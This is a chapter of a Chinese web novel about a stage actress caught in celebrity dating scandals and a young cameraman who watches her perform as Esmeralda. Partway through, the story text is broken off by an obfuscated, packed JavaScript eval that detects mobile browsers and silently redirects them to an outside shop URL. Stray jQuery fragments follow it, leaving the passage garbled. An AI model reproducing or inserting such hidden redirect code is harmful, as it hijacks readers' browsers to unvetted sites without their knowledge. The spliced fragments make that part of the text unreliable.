娇艳似火的红裙随步伐摇曳，她一言不发地走近那可怜而丑陋的犯人，从胸前取出一只葫芦，送到了他渴到干裂的嘴边。①


    这时，观众看见卡西莫多演员干燥如焚的独眼里，滚出一大颗眼泪，沿着那浮肿而难看的脸颊，慢慢流下来。


    悲伤的幕后音缓缓响起：这也许是那可怜的人，生平第一次流出眼泪。


    大概正是那样的爱情，把一个人引向了绞刑架，把另一个人引向了地狱。


    她被判了绞刑，而他，堕入了地狱。


    —


    舞台灯光尽数熄灭，突然又全都亮起来。


    火焰般耀眼的红色，不知何时，已变成支离破碎、惨白如烬的残布，郑希音离开绞刑架，随手往后撩动蓬乱披散的头发。


    首次正式排练告一段落，台下导演合上剧本，审视的眼神划过所有人，轮到她时，轻轻点了点头。


    “笑了！刚刚，她是不是看着我笑了？！”


    观众席正中，何川盯着摄影机镜头，惊恐地后退一步。


    刚好撞到手举相机折返的人。


    半晌没有回答，何川扭头，才发现段方禹同样沉浸在摄影画面里，压根没有听见似的。


    他了如指掌抬眉，问：“第一次看郑希音的话剧？”


    眼睛倾斜，然后抬高，迟钝几秒，段方禹终于低微“嗯”了声。


    难怪，会被迷惑也在所难免，化身角色后，璀璨灯光下，一舞一跃，一泪一笑都让人屏吸的郑希音，的确有足以摄魂夺魄的魅力。


    沉迷，疯狂，幸福，失望，破碎，然后放弃。


    爱情也好，理想也罢，总归都要经历一个这样的过程，才能彻底清醒。


    何川摇了摇头，“不过我还是奉劝你，趁早地，活在现实~”


    静默一会儿，像才明白他的话，段方禹从相机的参数中回神，默默朝舞台瞥去。


    重又低下的帽檐，盖住他缓缓勾勒，不以为然的一眼。


    —


    “Bravo！精彩！”


    接过助理递来的水杯，郑希音浅缀一口，又塞回米燕手里，“正巧”错开舞台边缘，经纪人主动奉献的胳膊。


    高鹏飞尴尬地缩回手，闭了闭眼，不忘撑着笑容继续说，“现在，我们可以好好谈谈接下来的事了吧。”


    她漫不经心的语调反问：“比如呢？”


    “比如你知道今天我为了你，又烧掉多少钱吗？”


    眼波流转，郑希音听到话语回头。


    高鹏飞还以为她终于良心发现，缓了缓，却发现她目光径直越过他，落向观众席后排。


    那里有谁？


    他跟着疑惑回头，分明就空空如也。


    “你在看什么？”


    “没什么。”


    刚说完，郑希音就干脆利落转身，朝后台方向。


    高鹏飞连忙大跨步跟了上去，正欲大声指控，在撞到后台穿梭来往的工作人员时，他急忙压低了语音，“八十万！整整八十万，就为撤几个热搜，你知道是什么概念吗？”


    “一块劳力士的手表，一个爱马仕的包包，一条宝诗龙的短链，还是说，一个普通人一辈子达不到的开销？”


    她慵懒到近乎没心没肺的语调，只会让高鹏飞更加气郁难消，“看吧，你明明什么都知道！”


    郑希音眼尾一挑，反击，“所以啊，你为什么还要浪费这笔钱。”


    “浪费，这个词用得好，用的极好！”


    从侧边绕到过道前面，高鹏飞倒退地看她，强调说，“如果不是你任性地被狗仔拍到，我就不用浪费。”


    郑希音停下步伐，却笑了，“如果不是你逼我多交朋友，我就不用任性。”


    助理推开休息室的门，她头也不回，姿态懒漫走向沙发。


    只听背后，高鹏飞手抵门框还在无奈咆哮，“Why！Why！为什么偏偏是男朋友！就不能正常一点？”


    “正常？”


    “找女生们逛逛街，喝喝下午茶，发发微博营销一下闺蜜情，不是很简单吗？”


    胳膊肘抵在沙发翼，手心托住下巴，郑希音妖娆的眼睛眨巴眨巴，语气半真半假在调笑，“难道你不知道？这个行业所有的女生，都讨厌我~”


    被堵得无话可说，高鹏飞走到梳妆台前靠立，只能毫无办法，揉着被她刺激得更加烦痛的太阳穴。


    手机这时又响。


    他掏出来看一眼，犹豫几秒也没按掉，反扣在桌面。


    很快，像深思熟虑了许久，又或根本不需要纠结，他长叹一声，郑重其事站直身体，“事已至此，去参加综艺吧？嗯？”


    郑希音慵懒地抬起眼眸。


    在得到无情反对之前，高鹏飞更加卖力劝说：“你要想清楚，这可能是你拯救路人缘的唯一机会了。”


    可郑希音是谁呢？路过的狗都知道，她向来是个油盐不进的主。


    “那又怎样？”


    果然不出所料。


    再度深吸口气，不得已，高鹏飞只能亮出最后底牌。


    “大老板可发话了，如果这次丑闻不能顺利解决，影响到工作室声誉，你们之前协议只能作废，而且必须暂停你的所有演出……”


    观察对面一如既往，无动于衷的表情，他便再无顾忌，一口气说下去，“还有一件事没来得及告诉你，就在刚才，热搜突然爆出孟凡文抑郁症入院的贴图，标题是——”


    “‘永别了，我的爱’。”


    —


    “天呐，他不会想不开吧！”


    剧院周边不远，一家日式小清新装修的和风饭馆。


    段方禹和何川刚点完餐，巧合撞见在附近取景的另外两名同事，于是四人一起坐下来。


    戴黑框眼镜的男同事率先刷到新闻，开启了八卦话题。


    卷毛同事顺口接道：“这样下去，早晚的事。”


    何川吸了口拉面热汤，配合点头，“郑希音真是害人不浅。”


    习惯性十分钟解决吃饭，段方禹放下筷子的同时，对上其他三人飘来的目光，似乎轮到他发言，于是顿了顿——


    “孟凡文是谁？”


    眼镜同事哈笑几声，结果呛到一口辣椒。


    卷毛小伙则惊呼，“真的假的，你不知道孟凡文？”


    事实上自从有了二娃，早已脱离年轻梯队多年的何川，对网络上的流量鲜肉同样知之甚少，索性趁机装作解围般，冲卷毛抬抬下巴。


    “你跟他科普下呗。”


    卷毛小伙便兴高采烈充当了人生头一回课代表。


    整件事情要说认真起来，其实很简单，逃不过娱乐圈“狗血”二字。


    话剧女王郑希音，和初出茅庐的演员小生孟凡文，因合作小众话剧《金粉》结缘，后来有了人气，孟凡文资源见好，跨界参演多部电影配角，积累不少粉丝，也因此被冠上“电影小生”称号，不久便离开了话剧界。


    但自话剧合作以来，CP粉们断续爆出两人的互动细节和暧昧同款，导致恋爱绯闻传出，由于双方团队统一默契地冷处理，舆论引起的水花，也就不声不响很快平息。


    然而就在今年开春，郑希音获奖不久，一张两人的聚餐合照突然流传全网，有了类似证据，绯闻再度甚嚣尘上。


    更有狗仔很快扒出，孟凡文的小号竟然还点赞过这张图片，间接坐实了恋情传闻。


    事件若到此结束，充其量不过粉丝的破防，CP粉的狂欢，无关其他。


    可是几天后，一位宣称“孟凡文正牌女友061”的网民突然跳出来，图文并茂，真情切意地内涵对方出轨，某女星横刀夺爱。


    一通操作下来，郑希音自然而然被全网贴上了“知三当三”的标签。


    所谓一波未平一波又起。


    工作室起诉诽谤的公文还热乎，谁料半月不到，郑希音又被狗仔拍到，凌晨半夜从“流量鲜肉”沈星宇的小区出来，顷刻炸翻了饭圈。


    吃瓜网友们通宵扒出，两个八竿子打不到一起的演员，唯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958026|193220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一的交集，就是共同出演了《自白》那部电影。


    可惜了，沈星宇作为偶像代新生，才参加完综艺选秀节目，大有冲击顶流的趋势，竟就这么自毁前程。


    郑希音则更不用说，“脚踏两条船”的头衔，这回根本用不着营销号起哄，就已经死死地彻底扣在她脑门上了，还外加一连串的“疯言疯语”，“不知廉耻”，“背景神秘潜规则”，“私生活混乱”......


    一时间，话剧粉、电影粉、偶像粉、CP粉，还有一些看谁都不惯，惯常怼天怼地的路人粉，为这些纠缠不清的八卦怼到一起，在网络上刀锋相见，你来又我往，撕的热火朝天。


    吃瓜群众则隐在其中，津津有味地上蹿下跳，整个场面，堪比二十一世纪来，最纪实狗血的长篇连续剧。


    你以为到这就结束了？


    太单纯！


    这不半月不到，在所有人都以为这出大戏该要落幕的时候，就在刚刚，孟凡文的一篇自发热搜，将事件推向又一高潮。


    “感情遭受背叛”，“生病入院”，“抑郁症确诊”......


    虽然全文一如往常没提及任何名字，但所涵盖的词条，无论哪个单拎出来，都足以引起一番热议。


    更何况，网友自认已有足够充分的背景了解，事实不言而喻。


    郑希音这个疯女人，就是整个事件的罪魁祸首！


    两位男演员，何其可怜！


    ......


    “看吧，我说什么来着。”


    一顿饭功夫，听完八卦，何川抽出纸巾擦了擦嘴，不忘马后炮地证明自己。


    段方禹难掩笑意地垂下头。


    眼镜男盯着他被帽子挡去的大半张脸，奇怪问：“你笑什么？”


    微微抬起下巴，段方禹愣了愣，仿佛并未意识到自己有笑。


    他说：“感觉……像是在听别人的故事。”


    眼镜男才囧起眉头，又听他补充，“就，另一个世界的人。”


    “啥意思啊？”


    段方禹抿抿唇角，轻描淡写的语调开启，如同讨论起虚幻一般，“只是难免奇怪罢了，一位身经百战的女主角，在自己亲身造就的戏剧里，居然连一句台词都没有。”


    其他三人眼神扫射，彼此面面相觑。


    卷毛小伙先反应过来，“我知道！之前有媒体朋友透漏过，考虑最近话剧演出，所以郑希音拒绝了一切采访。”


    “那官方回应是死了吗？”仔细想想，眼镜男也觉得不对。


    “这种情况说明什么？肯定是心虚了呗。”何川笃定看破的表情。


    段方禹：“因为心虚所以一言不发么。”


    何川点头，“对啊。”


    “是正常人会做的事情……”


    说到后半句，段方禹重又低头，像随口到故意，声音却又轻得无辜——


    “可郑希音她，不是个疯子吗？”


    一句话，再度噎得何川蹦不出字来。


    延迟上桌的甜品被推到一边，双臂环抱，他不由眯起眼，一时猜不透面前总跟他唱反调的年轻人，到底是真的故意，还是缺根神经。


    静默须臾，他恍然大悟似的敲了敲桌面，说：“我知道了，你该不会——是郑希音的粉丝吧？！”


    被他质疑到失笑，段方禹轻轻摇头。


    何川当然不信，“那你怎么解释，对热门的影视明星一无所知，却偏偏认识话剧界的郑希音？”


    众所周知，后者的受众范围要小得多。


    饭馆靠近木制橱窗的座位，远远地，可以眺望到剧院顶端，闪亮发光的宣传屏。


    段方禹无意间抬头，一身火焰红裙的爱斯梅拉达，璀璨不可方物的容颜正巧透过缥缈时空，也遥远地，眺望着他。


    他无声轻笑。


    是啊，为什么呢？


    ---------------------------


    标注①：改编引自法国作家雨果，著作《巴黎圣母院》。